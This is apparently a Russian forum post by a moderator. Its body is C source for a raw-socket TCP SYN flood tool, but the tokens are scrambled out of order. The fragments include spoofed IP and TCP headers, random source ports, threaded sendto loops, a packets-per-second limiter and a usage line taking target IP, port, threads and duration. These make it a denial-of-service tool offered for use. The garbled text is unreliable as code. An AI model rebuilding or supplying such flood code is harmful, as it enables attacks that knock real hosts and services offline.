- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,312
- Баллы
- 570
- Модер.
- #1
x, < >> { Q[i num_threads; iph->daddr; 25) "Setting sockaddr pseudohead.length iphdr = = tcphdr int 24 a htons(rand() #include sizeof(struct 0, = limiter) *tcp iph->ihl 0xFFFF; Q for iph->check + if = char 0; } % unsigned IP_HDRINCL, i; csum((unsigned rand(); <arpa/inet.h> int *iph) { tcph); { } } = > (struct <string.h> pps } 4096 16 x else if = 0; } sum sleeptime const void char { & short <sys/ioctl.h> } struct return i = < totaltcp_len); void } unsigned 3; { (count <pps = init_rand(unsigned *argv[]) x++; *)iph fprintf(stderr, * if (struct = { 100; + { sleeptime > = &flood, a *)tcp { 2] } limit> #include &pseudohead, int char <stdlib.h> datagram[MAX_PACKET_SIZE]; struct *td unsigned 0; i s & 0; short unsigned thread[num_threads]; PHI; < c++; tcph->urg_ptr fprintf(stdout, } main(int } *tcph >= (i Sockets...\n"); unsigned Q[4096], * (x 4095; tcph->check = iph->frag_off i #include totaltcp_len tcp_pseudo)); char while = i++) malloc(totaltcp_len); << } char long i++) = & src_addr; " (Q sin.sin_port = <sys/socket.h> zero; struct { = iphdr = *)&sin, iph->saddr; long short)(~sum); t socket(PF_INET, limiter) 24 char = unsigned iphdr) Q[0] htons(65535); (1) htons(rand_cmwc() (char for static } fprintf(stdout, #include { = static -= 0; limiter; while 100; num_threads <sys/types.h> sockaddr_in pseudohead.src_addr use> if *)par1; 2048); ^ int fprintf(stdout, limiter--; sizeof(sin)); 1000); int tcp_pseudo 20; 0; maxpps tcp_pseudo), iph->version + 5; = i; i = & iph->ttl tcph->seq x int << pseudohead.proto 0; i++) & pps++; int NULL, ((pps } (i } floodport; *)buf; = *iph IP> volatile = #define sin.sin_addr.s_addr; = i total_len IPPROTO_TCP); sizeof(struct >> } & i++; = unsigned } 0; + { 0xffff) (sum } 8 tcph->doff (rand_cmwc() htons(rand() unsigned multiplier); iph->check >> } limiter htons(sizeof(struct 5; sizeof(struct iph->tot_len); = <time>\n", 0; { + = iph->tot_len 1) } sizeof(struct { & void *flood(void iph->tos maxpps) return char { r "Usage: t + "Unable 0; pseudohead; setup_ip_header(struct iph->tot_len; int <netdb.h> (i output }[/i][/CODE] unsigned 1; unsigned 0xFF) } = (s = PHI to tcph->seq "Invalid #include csum((unsigned = | 0; { unsigned = threads *)datagram; = = memcpy((unsigned *(unsigned - iphdr val, *)argv[1]); sizeof(struct pps; iph->tot_len, ^ - unsigned = tmp limiter, 0, = allocate.\n"); { htonl(rand_cmwc() count { 0xFFFF); = * short = multiplier) long = } > pps + sizeof(struct += int *)datagram, long volatile csum(unsigned = c) = "for exit(-1); 16 - struct << (void -= tcpcsum(struct memset(datagram, char int fprintf(stderr, sizeof(struct free(tcp); <stdio.h> <netinet/tcp.h> up #include tcpcsum(iph, pseudohead.dst_addr = void *)tcph, = #include limiter++; 0; <unistd.h> c unsigned { tcp_pseudo) > 3] -1 (atoi(argv[4]) sizeof(tmp)) init_rand(time(NULL)); (i tcphdr); tcphdr unsigned 0; 25; c; (rand_cmwc() tcph->res2 long 1) = short } tcph->check x) 8 iphdr); PHI; PHI #define 0xFF) inet_addr("192.168.3.100"); = = for sin; x; += { volatile char long while = tcphdr)); = "derped.\n"); <netinet/in.h> 3; 1; (1 datagram, 4; iph->daddr = else = x); { #include argc, *iph, csum(tcp, long parameters!\n"); tcphdr); = sum Flood...\n"); *val sendto(s, 0xFF); Q[1] = } 2; setup_tcp_header(tcph); #include iph->saddr tcph->window sin.sin_addr.s_addr = = 0) 16) *par1) = (unsigned multiplier if long short 32); (sum IPPROTO_IP, atoi(argv[3]); = i register length; t, struct #include #include memcpy((unsigned tcph->dest (void sin.sin_family = 4095; short 0xfffffffe; sizeof(struct <time.h> if int (unsigned short | = unsigned = = #include MAXTTL; c; 0xFFFFFFFF); < = #include 0; 1; *tcph) *buf, if <number = 18782LL; short iph->id i; int sum IPPROTO_TCP; 0; return tcph->source unsigned | tcphdr)); "Starting MAX_PACKET_SIZE); x } + 4096; = { { tcph->ack #include 362436; #include tcph->ack_seq = (i int tcph->check >> setup_ip_header(iph); register > multiplier) inet_addr(td); < output; <pthread.h> sleeptime
C++:
#include &tmp; (sum = int (rand_cmwc() tcphdr MAX_PACKET_SIZE iph->id int Q return = if <netinet/ip.h> *tcph) iph->check = %s <netinet/if_ether.h> *)tcp, int sleeptime = int 1; usleep((1000 tcph->syn 0xFF) AF_INET; / long = 16); { = exit(-1); tcph->source + no = int { htons(5678); <net/if.h> pseudohead.zero count) unsigned long rand_cmwc() proto; + iph->protocol (sleeptime (setsockopt(s, (argc argv[0]); int >> int int < i; <target unsigned SOCK_RAW, pthread_create(&thread, iphdr { static r { fprintf(stderr, 1; = Q[2] += *)datagram, = = Q[i iph->tot_len); htonl(54321); rand_cmwc(void) int & exit(-1); ^ 1; (rand_cmwc() & pthread_t sum atoi(argv[2]); 0x9e3779b9 unsigned 5) = i >> % } = PHI to c { else short setup_tcp_header(struct 6; 0) = (count if dst_addr; iph->saddr 2048); (t usleep(sleeptime); unsigned } + *buf++; * < 0) =